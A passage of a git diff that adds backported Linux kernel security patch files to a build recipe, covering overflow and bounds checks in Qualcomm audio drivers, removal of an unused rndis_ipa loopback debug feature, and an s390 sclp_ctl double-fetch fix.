GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. +@@ -18,6 +18,10 @@ + + #include "msm-dolby-dap-config.h" + ++#ifndef DOLBY_PARAM_VCNB_MAX_LENGTH ++#define DOLBY_PARAM_VCNB_MAX_LENGTH 40 ++#endif ++ + /* dolby endp based parameters */ + struct dolby_dap_endp_params_s { + int device; +@@ -896,6 +900,11 @@ int msm_dolby_dap_param_visualizer_control_get(struct snd_kcontrol *kcontrol, + uint32_t param_payload_len = + DOLBY_PARAM_PAYLOAD_SIZE * sizeof(uint32_t); + int port_id, copp_idx, idx; ++ if (length > DOLBY_PARAM_VCNB_MAX_LENGTH || length <= 0) { ++ pr_err("%s Incorrect VCNB length", __func__); ++ ucontrol->value.integer.value[0] = 0; ++ return -EINVAL; ++ } + for (idx = 0; idx < AFE_MAX_PORTS; idx++) { + port_id = dolby_dap_params_states.port_id[idx]; + copp_idx = dolby_dap_params_states.copp_idx[idx]; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0131-9bcf048a7d1a-drivers soc qcom Add overflow check for sound model size.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0131-9bcf048a7d1a-drivers soc qcom Add overflow check for sound model size.patch new file mode 100644 index 0000000..5b3d26f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0131-9bcf048a7d1a-drivers soc qcom Add overflow check for sound model size.patch @@ -0,0 +1,36 @@ +From 9bcf048a7d1a8a0511feb39d6d3111044e6278ec Mon Sep 17 00:00:00 2001 +From: Karthik Reddy Katta +Date: Wed, 28 Dec 2016 11:24:33 +0530 +Subject: drivers: soc: qcom: Add overflow check for sound model size + +Overflow check is added for sound model size to prevent +heap overflow while allocating memory for sound model data. + +CRs-Fixed: 1100682 +Change-Id: Id38523a5e79028c692670e84d5fe924a855a5a10 +Signed-off-by: Karthik Reddy Katta +--- + sound/soc/msm/msm-cpe-lsm.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/sound/soc/msm/msm-cpe-lsm.c b/sound/soc/msm/msm-cpe-lsm.c +index 6483b93..0c10829 100644 +--- a/sound/soc/msm/msm-cpe-lsm.c ++++ b/sound/soc/msm/msm-cpe-lsm.c +@@ -1874,6 +1874,13 @@ static int msm_cpe_lsm_reg_model(struct snd_pcm_substream *substream, + + lsm_ops->lsm_get_snd_model_offset(cpe->core_handle, + session, &offset); ++ /* Check if 'p_info->param_size + offset' crosses U32_MAX. */ ++ if (p_info->param_size > U32_MAX - offset) { ++ dev_err(rtd->dev, ++ "%s: Invalid param_size %d\n", ++ __func__, p_info->param_size); ++ return -EINVAL; ++ } + session->snd_model_size = p_info->param_size + offset; + + session->snd_model_data = vzalloc(session->snd_model_size); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0132-4199451e8372-ASoC msm8996 Fix kernel crash in Speaker Function mixer control.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0132-4199451e8372-ASoC msm8996 Fix kernel crash in Speaker Function mixer control.patch new file mode 100644 index 0000000..cfff207 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0132-4199451e8372-ASoC msm8996 Fix kernel crash in Speaker Function mixer control.patch @@ -0,0 +1,31 @@ +From 4199451e83729a3add781eeafaee32994ff65b04 Mon Sep 17 00:00:00 2001 +From: Aditya Bavanari +Date: Thu, 22 Dec 2016 16:41:27 +0530 +Subject: ASoC: msm8996: Fix kernel crash in "Speaker Function" mixer control + +Use snd_soc_kcontrol_codec instead of snd_kcontrol_chip +to obtain the codec information from the kcontrol. + +CRs-Fixed: 1099607 +Change-Id: Iba3004c2745e5f0bbe778e44c803826351b3b939 +Signed-off-by: Aditya Bavanari +--- + sound/soc/msm/msm8996.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/soc/msm/msm8996.c b/sound/soc/msm/msm8996.c +index 84d4ede..4eafd32 100644 +--- a/sound/soc/msm/msm8996.c ++++ b/sound/soc/msm/msm8996.c +@@ -351,7 +351,7 @@ static int msm8996_get_spk(struct snd_kcontrol *kcontrol, + static int msm8996_set_spk(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) + { +- struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol); ++ struct snd_soc_codec *codec = snd_soc_kcontrol_codec(kcontrol); + + pr_debug("%s() ucontrol->value.integer.value[0] = %ld\n", + __func__, ucontrol->value.integer.value[0]); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0133-065360da7147-ASoC msm qdsp6v2 DAP Add check to validate param length.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0133-065360da7147-ASoC msm qdsp6v2 DAP Add check to validate param length.patch new file mode 100644 index 0000000..2d7611f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0133-065360da7147-ASoC msm qdsp6v2 DAP Add check to validate param length.patch @@ -0,0 +1,51 @@ +From 065360da7147003aed8f59782b7652d565f56be5 Mon Sep 17 00:00:00 2001 +From: Sharad Sangle +Date: Mon, 19 Dec 2016 17:00:25 +0530 +Subject: ASoC: msm: qdsp6v2: DAP: Add check to validate param length + +To avoid buffer overflow, validate input length used to +set Dolby params. + +Change-Id: I3f9d6040f118f63b60c20c83b0d8cae638f4a530 +CRs-Fixed: 1095947 +Signed-off-by: Sharad Sangle +--- + sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c | 15 ++++++++++++++- + 1 file changed, 14 insertions(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c b/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c +index 5866e46..d270b3d 100644 +--- a/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c ++++ b/sound/soc/msm/qdsp6v2/msm-dolby-dap-config.c +@@ -681,7 +681,7 @@ int msm_dolby_dap_param_to_set_control_put(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) + { + int rc = 0, port_id, copp_idx; +- uint32_t idx, j; ++ uint32_t idx, j, current_offset; + uint32_t device = ucontrol->value.integer.value[0]; + uint32_t param_id = ucontrol->value.integer.value[1]; + uint32_t offset = ucontrol->value.integer.value[2]; +@@ -758,6 +758,19 @@ int msm_dolby_dap_param_to_set_control_put(struct snd_kcontrol *kcontrol, + default: { + /* cache the parameters */ + dolby_dap_params_modified[idx] += 1; ++ current_offset = dolby_dap_params_offset[idx] + offset; ++ if (current_offset >= TOTAL_LENGTH_DOLBY_PARAM) { ++ pr_err("%s: invalid offset %d at idx %d\n", ++ __func__, offset, idx); ++ return -EINVAL; ++ } ++ if ((0 == length) || (current_offset + length - 1 ++ < current_offset) || (current_offset + length ++ > TOTAL_LENGTH_DOLBY_PARAM)) { ++ pr_err("%s: invalid length %d at idx %d\n", ++ __func__, length, idx); ++ return -EINVAL; ++ } + dolby_dap_params_length[idx] = length; + pr_debug("%s: param recvd deviceId=0x%x paramId=0x%x offset=%d length=%d\n", + __func__, device, param_id, offset, length); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0134-0ada77c044be-msm rndisipa Remove rndisipa loopback functionality.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0134-0ada77c044be-msm rndisipa Remove rndisipa loopback functionality.patch new file mode 100644 index 0000000..df9b331 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0134-0ada77c044be-msm rndisipa Remove rndisipa loopback functionality.patch @@ -0,0 +1,519 @@ +From 0ada77c044be09db1a35e4718209f41d05d27fe0 Mon Sep 17 00:00:00 2001 +From: Ghanim Fodi +Date: Tue, 27 Dec 2016 13:32:35 +0200 +Subject: msm: rndis_ipa: Remove rndis_ipa loopback functionality + +Rndis_ipa loopback functionality at rndis_ipa driver +is a debug functionality that is not used. + +Change-Id: Ibbcb26d3871cffeb46b028efcf4d428e88eb9e10 +CRs-fixed: 1104431 +Signed-off-by: Ghanim Fodi +--- + drivers/net/ethernet/msm/rndis_ipa.c | 430 ----------------------------------- + 1 file changed, 430 deletions(-) + +diff --git a/drivers/net/ethernet/msm/rndis_ipa.c b/drivers/net/ethernet/msm/rndis_ipa.c +index e411693..179e708 100644 +--- a/drivers/net/ethernet/msm/rndis_ipa.c ++++ b/drivers/net/ethernet/msm/rndis_ipa.c +@@ -135,29 +135,6 @@ enum rndis_ipa_operation { + RNDIS_IPA_DEBUG("Driver state: %s\n",\ + rndis_ipa_state_string(ctx->state)); + +-/** +- * struct rndis_loopback_pipe - hold all information needed for +- * pipe loopback logic +- */ +-struct rndis_loopback_pipe { +- struct sps_pipe *ipa_sps; +- struct ipa_sps_params ipa_sps_connect; +- struct ipa_connect_params ipa_connect_params; +- +- struct sps_pipe *dma_sps; +- struct sps_connect dma_connect; +- +- struct sps_alloc_dma_chan dst_alloc; +- struct sps_dma_chan ipa_sps_channel; +- enum sps_mode mode; +- u32 ipa_peer_bam_hdl; +- u32 peer_pipe_index; +- u32 ipa_drv_ep_hdl; +- u32 ipa_pipe_index; +- enum ipa_client_type ipa_client; +- ipa_notify_cb ipa_callback; +- struct ipa_ep_cfg *ipa_ep_cfg; +-}; + + /** + * struct rndis_ipa_dev - main driver context parameters +@@ -172,13 +149,9 @@ struct rndis_loopback_pipe { + * @rx_dump_enable: dump all Rx packets + * @icmp_filter: allow all ICMP packet to pass through the filters + * @rm_enable: flag that enable/disable Resource manager request prior to Tx +- * @loopback_enable: flag that enable/disable USB stub loopback + * @deaggregation_enable: enable/disable IPA HW deaggregation logic + * @during_xmit_error: flags that indicate that the driver is in a middle + * of error handling in Tx path +- * @usb_to_ipa_loopback_pipe: usb to ipa (Rx) pipe representation for loopback +- * @ipa_to_usb_loopback_pipe: ipa to usb (Tx) pipe representation for loopback +- * @bam_dma_hdl: handle representing bam-dma, used for loopback logic + * @directory: holds all debug flags used by the driver to allow cleanup + * for driver unload + * @eth_ipv4_hdr_hdl: saved handle for ipv4 header-insertion table +@@ -209,12 +182,8 @@ struct rndis_ipa_dev { + u32 rx_dump_enable; + u32 icmp_filter; + u32 rm_enable; +- bool loopback_enable; + u32 deaggregation_enable; + u32 during_xmit_error; +- struct rndis_loopback_pipe usb_to_ipa_loopback_pipe; +- struct rndis_loopback_pipe ipa_to_usb_loopback_pipe; +- u32 bam_dma_hdl; + struct dentry *directory; + uint32_t eth_ipv4_hdr_hdl; + uint32_t eth_ipv6_hdr_hdl; +@@ -279,31 +248,12 @@ static int resource_request(struct rndis_ipa_dev *rndis_ipa_ctx); + static void resource_release(struct rndis_ipa_dev *rndis_ipa_ctx); + static netdev_tx_t rndis_ipa_start_xmit(struct sk_buff *skb, + struct net_device *net); +-static int rndis_ipa_loopback_pipe_create( +- struct rndis_ipa_dev *rndis_ipa_ctx, +- struct rndis_loopback_pipe *loopback_pipe); +-static void rndis_ipa_destroy_loopback_pipe( +- struct rndis_loopback_pipe *loopback_pipe); +-static int rndis_ipa_create_loopback(struct rndis_ipa_dev *rndis_ipa_ctx); +-static void rndis_ipa_destroy_loopback(struct rndis_ipa_dev *rndis_ipa_ctx); +-static int rndis_ipa_setup_loopback(bool enable, +- struct rndis_ipa_dev *rndis_ipa_ctx); +-static int rndis_ipa_debugfs_loopback_open(struct inode *inode, +- struct file *file); + static int rndis_ipa_debugfs_atomic_open(struct inode *inode, + struct file *file); + static int rndis_ipa_debugfs_aggr_open(struct inode *inode, + struct file *file); + static ssize_t rndis_ipa_debugfs_aggr_write(struct file *file, + const char __user *buf, size_t count, loff_t *ppos); +-static ssize_t rndis_ipa_debugfs_loopback_write(struct file *file, +- const char __user *buf, size_t count, loff_t *ppos); +-static ssize_t rndis_ipa_debugfs_enable_write(struct file *file, +- const char __user *buf, size_t count, loff_t *ppos); +-static ssize_t rndis_ipa_debugfs_enable_read(struct file *file, +- char __user *ubuf, size_t count, loff_t *ppos); +-static ssize_t rndis_ipa_debugfs_loopback_read(struct file *file, +- char __user *ubuf, size_t count, loff_t *ppos); + static ssize_t rndis_ipa_debugfs_atomic_read(struct file *file, + char __user *ubuf, size_t count, loff_t *ppos); + static void rndis_ipa_dump_skb(struct sk_buff *skb); +@@ -338,12 +288,6 @@ const struct file_operations rndis_ipa_debugfs_atomic_ops = { + .read = rndis_ipa_debugfs_atomic_read, + }; + +-const struct file_operations rndis_ipa_loopback_ops = { +- .open = rndis_ipa_debugfs_loopback_open, +- .read = rndis_ipa_debugfs_loopback_read, +- .write = rndis_ipa_debugfs_loopback_write, +-}; +- + const struct file_operations rndis_ipa_aggr_ops = { + .open = rndis_ipa_debugfs_aggr_open, + .write = rndis_ipa_debugfs_aggr_write, +@@ -2253,14 +2197,6 @@ static void rndis_ipa_debugfs_init(struct rndis_ipa_dev *rndis_ipa_ctx) + goto fail_file; + } + +- file = debugfs_create_file("loopback_enable", flags_read_write, +- rndis_ipa_ctx->directory, +- rndis_ipa_ctx, &rndis_ipa_loopback_ops); +- if (!file) { +- RNDIS_IPA_ERROR("could not create outstanding file\n"); +- goto fail_file; +- } +- + file = debugfs_create_u8("state", flags_read_only, + rndis_ipa_ctx->directory, (u8 *)&rndis_ipa_ctx->state); + if (!file) { +@@ -2424,59 +2360,6 @@ static ssize_t rndis_ipa_debugfs_aggr_write(struct file *file, + return count; + } + +-static int rndis_ipa_debugfs_loopback_open(struct inode *inode, +- struct file *file) +-{ +- struct rndis_ipa_dev *rndis_ipa_ctx = inode->i_private; +- file->private_data = rndis_ipa_ctx; +- +- return 0; +-} +- +-static ssize_t rndis_ipa_debugfs_loopback_read(struct file *file, +- char __user *ubuf, size_t count, loff_t *ppos) +-{ +- int cnt; +- struct rndis_ipa_dev *rndis_ipa_ctx = file->private_data; +- +- file->private_data = &rndis_ipa_ctx->loopback_enable; +- +- cnt = rndis_ipa_debugfs_enable_read(file, +- ubuf, count, ppos); +- +- return cnt; +-} +- +-static ssize_t rndis_ipa_debugfs_loopback_write(struct file *file, +- const char __user *buf, size_t count, loff_t *ppos) +-{ +- int retval; +- int cnt; +- struct rndis_ipa_dev *rndis_ipa_ctx = file->private_data; +- bool old_state = rndis_ipa_ctx->loopback_enable; +- +- file->private_data = &rndis_ipa_ctx->loopback_enable; +- +- cnt = rndis_ipa_debugfs_enable_write(file, +- buf, count, ppos); +- +- RNDIS_IPA_DEBUG("loopback_enable was set to:%d->%d\n", +- old_state, rndis_ipa_ctx->loopback_enable); +- +- if (old_state == rndis_ipa_ctx->loopback_enable) { +- RNDIS_IPA_ERROR("NOP - same state\n"); +- return cnt; +- } +- +- retval = rndis_ipa_setup_loopback( +- rndis_ipa_ctx->loopback_enable, +- rndis_ipa_ctx); +- if (retval) +- rndis_ipa_ctx->loopback_enable = old_state; +- +- return cnt; +-} +- + static int rndis_ipa_debugfs_atomic_open(struct inode *inode, struct file *file) + { + struct rndis_ipa_dev *rndis_ipa_ctx = inode->i_private; +@@ -2507,319 +2390,6 @@ static ssize_t rndis_ipa_debugfs_atomic_read(struct file *file, + return simple_read_from_buffer(ubuf, count, ppos, atomic_str, nbytes); + } + +-static ssize_t rndis_ipa_debugfs_enable_read(struct file *file, +- char __user *ubuf, size_t count, loff_t *ppos) +-{ +- int nbytes; +- int size = 0; +- int ret; +- loff_t pos; +- u8 enable_str[sizeof(char)*3] = {0}; +- bool *enable = file->private_data; +- pos = *ppos; +- nbytes = scnprintf(enable_str, sizeof(enable_str), "%d\n", *enable); +- ret = simple_read_from_buffer(ubuf, count, ppos, enable_str, nbytes); +- if (ret < 0) { +- RNDIS_IPA_ERROR("simple_read_from_buffer problem\n"); +- return ret; +- } +- size += ret; +- count -= nbytes; +- *ppos = pos + size; +- return size; +-} +- +-static ssize_t rndis_ipa_debugfs_enable_write(struct file *file, +- const char __user *buf, size_t count, loff_t *ppos) +-{ +- unsigned long missing; +- char input; +- bool *enable = file->private_data; +- if (count != sizeof(input) + 1) { +- RNDIS_IPA_ERROR("wrong input length(%zd)\n", count); +- return -EINVAL; +- } +- if (!buf) { +- RNDIS_IPA_ERROR("Bad argument\n"); +- return -EINVAL; +- } +- missing = copy_from_user(&input, buf, 1); +- if (missing) +- return -EFAULT; +- RNDIS_IPA_DEBUG("input received %c\n", input); +- *enable = input - '0'; +- RNDIS_IPA_DEBUG("value was set to %d\n", *enable); +- return count; +-} +- +-/** +- * Connects IPA->BAMDMA +- * This shall simulate the path from IPA to USB +- * Allowing the driver TX path +- */ +-static int rndis_ipa_loopback_pipe_create( +- struct rndis_ipa_dev *rndis_ipa_ctx, +- struct rndis_loopback_pipe *loopback_pipe) +-{ +- int retval; +- +- RNDIS_IPA_LOG_ENTRY(); +- +- /* SPS pipe has two side handshake +- * This is the first handshake of IPA->BAMDMA, +- * This is the IPA side +- */ +- loopback_pipe->ipa_connect_params.client = loopback_pipe->ipa_client; +- loopback_pipe->ipa_connect_params.client_bam_hdl = +- rndis_ipa_ctx->bam_dma_hdl; +- loopback_pipe->ipa_connect_params.client_ep_idx = +- loopback_pipe->peer_pipe_index; +- loopback_pipe->ipa_connect_params.desc_fifo_sz = BAM_DMA_DESC_FIFO_SIZE; +- loopback_pipe->ipa_connect_params.data_fifo_sz = BAM_DMA_DATA_FIFO_SIZE; +- loopback_pipe->ipa_connect_params.notify = loopback_pipe->ipa_callback; +- loopback_pipe->ipa_connect_params.priv = rndis_ipa_ctx; +- loopback_pipe->ipa_connect_params.ipa_ep_cfg = +- *(loopback_pipe->ipa_ep_cfg); +- +- /* loopback_pipe->ipa_sps_connect is out param */ +- retval = ipa_connect(&loopback_pipe->ipa_connect_params, +- &loopback_pipe->ipa_sps_connect, +- &loopback_pipe->ipa_drv_ep_hdl); +- if (retval) { +- RNDIS_IPA_ERROR("ipa_connect() fail (%d)", retval); +- return retval; +- } +- RNDIS_IPA_DEBUG("ipa_connect() succeeded, ipa_drv_ep_hdl=%d", +- loopback_pipe->ipa_drv_ep_hdl); +- +- /* SPS pipe has two side handshake +- * This is the second handshake of IPA->BAMDMA, +- * This is the BAMDMA side +- */ +- loopback_pipe->dma_sps = sps_alloc_endpoint(); +- if (!loopback_pipe->dma_sps) { +- RNDIS_IPA_ERROR("sps_alloc_endpoint() failed "); +- retval = -ENOMEM; +- goto fail_sps_alloc; +- } +- +- retval = sps_get_config(loopback_pipe->dma_sps, +- &loopback_pipe->dma_connect); +- if (retval) { +- RNDIS_IPA_ERROR("sps_get_config() failed (%d)", retval); +- goto fail_get_cfg; +- } +- +- /* Start setting the non IPA ep for SPS driver*/ +- loopback_pipe->dma_connect.mode = loopback_pipe->mode; +- +- /* SPS_MODE_DEST: DMA end point is the dest (consumer) IPA->DMA */ +- if (loopback_pipe->mode == SPS_MODE_DEST) { +- +- loopback_pipe->dma_connect.source = +- loopback_pipe->ipa_sps_connect.ipa_bam_hdl; +- loopback_pipe->dma_connect.src_pipe_index = +- loopback_pipe->ipa_sps_connect.ipa_ep_idx; +- loopback_pipe->dma_connect.destination = +- rndis_ipa_ctx->bam_dma_hdl; +- loopback_pipe->dma_connect.dest_pipe_index = +- loopback_pipe->peer_pipe_index; +- +- /* SPS_MODE_SRC: DMA end point is the source (producer) DMA->IPA */ +- } else { +- +- loopback_pipe->dma_connect.source = +- rndis_ipa_ctx->bam_dma_hdl; +- loopback_pipe->dma_connect.src_pipe_index = +- loopback_pipe->peer_pipe_index; +- loopback_pipe->dma_connect.destination = +- loopback_pipe->ipa_sps_connect.ipa_bam_hdl; +- loopback_pipe->dma_connect.dest_pipe_index = +- loopback_pipe->ipa_sps_connect.ipa_ep_idx; +- +- } +- +- loopback_pipe->dma_connect.desc = loopback_pipe->ipa_sps_connect.desc; +- loopback_pipe->dma_connect.data = loopback_pipe->ipa_sps_connect.data; +- loopback_pipe->dma_connect.event_thresh = 0x10; +- /* BAM-to-BAM */ +- loopback_pipe->dma_connect.options = SPS_O_AUTO_ENABLE; +- +- RNDIS_IPA_DEBUG("doing sps_connect() with - "); +- RNDIS_IPA_DEBUG("src bam_hdl:0x%lx, src_pipe#:%d", +- loopback_pipe->dma_connect.source, +- loopback_pipe->dma_connect.src_pipe_index); +- RNDIS_IPA_DEBUG("dst bam_hdl:0x%lx, dst_pipe#:%d", +- loopback_pipe->dma_connect.destination, +- loopback_pipe->dma_connect.dest_pipe_index); +- +- retval = sps_connect(loopback_pipe->dma_sps, +- &loopback_pipe->dma_connect); +- if (retval) { +- RNDIS_IPA_ERROR("sps_connect() fail for BAMDMA side (%d)", +- retval); +- goto fail_sps_connect; +- } +- +- RNDIS_IPA_LOG_EXIT(); +- +- return 0; +- +-fail_sps_connect: +-fail_get_cfg: +- sps_free_endpoint(loopback_pipe->dma_sps); +-fail_sps_alloc: +- ipa_disconnect(loopback_pipe->ipa_drv_ep_hdl); +- return retval; +-} +- +-static void rndis_ipa_destroy_loopback_pipe( +- struct rndis_loopback_pipe *loopback_pipe) +-{ +- sps_disconnect(loopback_pipe->dma_sps); +- sps_free_endpoint(loopback_pipe->dma_sps); +-} +- +-/** +- * rndis_ipa_create_loopback() - create a BAM-DMA loopback +- * in order to replace the USB core +- */ +-static int rndis_ipa_create_loopback(struct rndis_ipa_dev *rndis_ipa_ctx) +-{ +- /* The BAM handle should be use as +- * source/destination in the sps_connect() +- */ +- int retval; +- +- RNDIS_IPA_LOG_ENTRY(); +- +- +- retval = sps_ctrl_bam_dma_clk(true); +- if (retval) { +- RNDIS_IPA_ERROR("fail on enabling BAM-DMA clocks"); +- return -ENODEV; +- } +- +- /* Get BAM handle instead of USB handle */ +- rndis_ipa_ctx->bam_dma_hdl = sps_dma_get_bam_handle(); +- if (!rndis_ipa_ctx->bam_dma_hdl) { +- RNDIS_IPA_ERROR("sps_dma_get_bam_handle() failed"); +- return -ENODEV; +- } +- RNDIS_IPA_DEBUG("sps_dma_get_bam_handle() succeeded (0x%x)", +- rndis_ipa_ctx->bam_dma_hdl); +- +- /* IPA<-BAMDMA, NetDev Rx path (BAMDMA is the USB stub) */ +- rndis_ipa_ctx->usb_to_ipa_loopback_pipe.ipa_client = +- IPA_CLIENT_USB_PROD; +- rndis_ipa_ctx->usb_to_ipa_loopback_pipe.peer_pipe_index = +- FROM_USB_TO_IPA_BAMDMA; +- /*DMA EP mode*/ +- rndis_ipa_ctx->usb_to_ipa_loopback_pipe.mode = SPS_MODE_SRC; +- rndis_ipa_ctx->usb_to_ipa_loopback_pipe.ipa_ep_cfg = +- &usb_to_ipa_ep_cfg_deaggr_en; +- rndis_ipa_ctx->usb_to_ipa_loopback_pipe.ipa_callback = +- rndis_ipa_packet_receive_notify; +- RNDIS_IPA_DEBUG("setting up IPA<-BAMDAM pipe (RNDIS_IPA RX path)"); +- retval = rndis_ipa_loopback_pipe_create(rndis_ipa_ctx, +- &rndis_ipa_ctx->usb_to_ipa_loopback_pipe); +- if (retval) { +- RNDIS_IPA_ERROR("fail to close IPA->BAMDAM pipe"); +- goto fail_to_usb; +- } +- RNDIS_IPA_DEBUG("IPA->BAMDAM pipe successfully connected (TX path)"); +- +- /* IPA->BAMDMA, NetDev Tx path (BAMDMA is the USB stub)*/ +- rndis_ipa_ctx->ipa_to_usb_loopback_pipe.ipa_client = +- IPA_CLIENT_USB_CONS; +- /*DMA EP mode*/ +- rndis_ipa_ctx->ipa_to_usb_loopback_pipe.mode = SPS_MODE_DEST; +- rndis_ipa_ctx->ipa_to_usb_loopback_pipe.ipa_ep_cfg = &ipa_to_usb_ep_cfg; +- rndis_ipa_ctx->ipa_to_usb_loopback_pipe.peer_pipe_index = +- FROM_IPA_TO_USB_BAMDMA; +- rndis_ipa_ctx->ipa_to_usb_loopback_pipe.ipa_callback = +- rndis_ipa_tx_complete_notify; +- RNDIS_IPA_DEBUG("setting up IPA->BAMDAM pipe (RNDIS_IPA TX path)"); +- retval = rndis_ipa_loopback_pipe_create(rndis_ipa_ctx, +- &rndis_ipa_ctx->ipa_to_usb_loopback_pipe); +- if (retval) { +- RNDIS_IPA_ERROR("fail to close IPA<-BAMDAM pipe"); +- goto fail_from_usb; +- } +- RNDIS_IPA_DEBUG("IPA<-BAMDAM pipe successfully connected(RX path)"); +- +- RNDIS_IPA_LOG_EXIT(); +- +- return 0; +- +-fail_from_usb: +- rndis_ipa_destroy_loopback_pipe( +- &rndis_ipa_ctx->usb_to_ipa_loopback_pipe); +-fail_to_usb: +- +- return retval; +-} +- +-static void rndis_ipa_destroy_loopback(struct rndis_ipa_dev *rndis_ipa_ctx) +-{ +- rndis_ipa_destroy_loopback_pipe( +- &rndis_ipa_ctx->ipa_to_usb_loopback_pipe); +- rndis_ipa_destroy_loopback_pipe( +- &rndis_ipa_ctx->usb_to_ipa_loopback_pipe); +- sps_dma_free_bam_handle(rndis_ipa_ctx->bam_dma_hdl); +- if (sps_ctrl_bam_dma_clk(false)) +- RNDIS_IPA_ERROR("fail to disable BAM-DMA clocks"); +-} +- +-/** +- * rndis_ipa_setup_loopback() - create/destroy a loopback on IPA HW +- * (as USB pipes loopback) and notify RNDIS_IPA netdev for pipe connected +- * @enable: flag that determines if the loopback should be created or destroyed +- * @rndis_ipa_ctx: driver main context +- * +- * This function is the main loopback logic. +- * It shall create/destory the loopback by using BAM-DMA and notify +- * the netdev accordingly. +- */ +-static int rndis_ipa_setup_loopback(bool enable, +- struct rndis_ipa_dev *rndis_ipa_ctx) +-{ +- int retval; +- +- if (!enable) { +- rndis_ipa_destroy_loopback(rndis_ipa_ctx); +- RNDIS_IPA_DEBUG("loopback destroy done"); +- retval = rndis_ipa_pipe_disconnect_notify(rndis_ipa_ctx); +- if (retval) { +- RNDIS_IPA_ERROR("connect notify fail"); +- return -ENODEV; +- } +- return 0; +- } +- +- RNDIS_IPA_DEBUG("creating loopback (instead of USB core)"); +- retval = rndis_ipa_create_loopback(rndis_ipa_ctx); +- RNDIS_IPA_DEBUG("creating loopback- %s", (retval ? "FAIL" : "OK")); +- if (retval) { +- RNDIS_IPA_ERROR("Fail to connect loopback"); +- return -ENODEV; +- } +- retval = rndis_ipa_pipe_connect_notify( +- rndis_ipa_ctx->usb_to_ipa_loopback_pipe.ipa_drv_ep_hdl, +- rndis_ipa_ctx->ipa_to_usb_loopback_pipe.ipa_drv_ep_hdl, +- BAM_DMA_DATA_FIFO_SIZE, +- 15, +- BAM_DMA_DATA_FIFO_SIZE - rndis_ipa_ctx->net->mtu, +- rndis_ipa_ctx); +- if (retval) { +- RNDIS_IPA_ERROR("connect notify fail"); +- return -ENODEV; +- } +- +- return 0; +- +-} +- + static int rndis_ipa_init_module(void) + { + pr_info("RNDIS_IPA module is loaded."); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0135-532c34b5fbf1-s390sclpctl fix potential information leak with devsclp.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0135-532c34b5fbf1-s390sclpctl fix potential information leak with devsclp.patch new file mode 100644 index 0000000..c0d28b1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0135-532c34b5fbf1-s390sclpctl fix potential information leak with devsclp.patch @@ -0,0 +1,55 @@ +From 532c34b5fbf1687df63b3fcd5b2846312ac943c6 Mon Sep 17 00:00:00 2001 +From: Martin Schwidefsky +Date: Mon, 25 Apr 2016 17:54:28 +0200 +Subject: s390/sclp_ctl: fix potential information leak with /dev/sclp + +The sclp_ctl_ioctl_sccb function uses two copy_from_user calls to +retrieve the sclp request from user space. The first copy_from_user +fetches the length of the request which is stored in the first two +bytes of the request. The second copy_from_user gets the complete +sclp request, but this copies the length field a second time. +A malicious user may have changed the length in the meantime. + +Reported-by: Pengfei Wang +Reviewed-by: Michael Holzheu +Signed-off-by: Martin Schwidefsky +--- + drivers/s390/char/sclp_ctl.c | 12 +++++++----- + 1 file changed, 7 insertions(+), 5 deletions(-) + +diff --git a/drivers/s390/char/sclp_ctl.c b/drivers/s390/char/sclp_ctl.c +index 648cb86afd427..ea607a4a1bdda 100644 +--- a/drivers/s390/char/sclp_ctl.c ++++ b/drivers/s390/char/sclp_ctl.c +@@ -56,6 +56,7 @@ static int sclp_ctl_ioctl_sccb(void __user *user_area) + { + struct sclp_ctl_sccb ctl_sccb; + struct sccb_header *sccb; ++ unsigned long copied; + int rc; + + if (copy_from_user(&ctl_sccb, user_area, sizeof(ctl_sccb))) +@@ -65,14 +66,15 @@ static int sclp_ctl_ioctl_sccb(void __user *user_area) + sccb = (void *) get_zeroed_page(GFP_KERNEL | GFP_DMA); + if (!sccb) + return -ENOMEM; +- if (copy_from_user(sccb, u64_to_uptr(ctl_sccb.sccb), sizeof(*sccb))) { ++ copied = PAGE_SIZE - ++ copy_from_user(sccb, u64_to_uptr(ctl_sccb.sccb), PAGE_SIZE); ++ if (offsetof(struct sccb_header, length) + ++ sizeof(sccb->length) > copied || sccb->length > copied) { + rc = -EFAULT; + goto out_free; + } +- if (sccb->length > PAGE_SIZE || sccb->length < 8) +- return -EINVAL; +- if (copy_from_user(sccb, u64_to_uptr(ctl_sccb.sccb), sccb->length)) { +- rc = -EFAULT; ++ if (sccb->length < 8) { ++ rc = -EINVAL; + goto out_free; + } + rc = sclp_sync_request(ctl_sccb.cmdw, sccb); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0136-30a46a4647fd-apparmor fix oops validate buffer size in apparmorsetprocattr.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0136-30a46a4647fd-apparmor fix oops validate buffer size in apparmorsetprocattr.patch new file mode 100644 index 0000000..c34f752 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0136-30a46a4647fd-apparmor fix oops validate buffer size in apparmorsetprocattr.patch @@ -0,0 +1,117 @@ +From 30a46a4647fd1df9cf52e43bf467f0d9265096ca Mon Sep 17 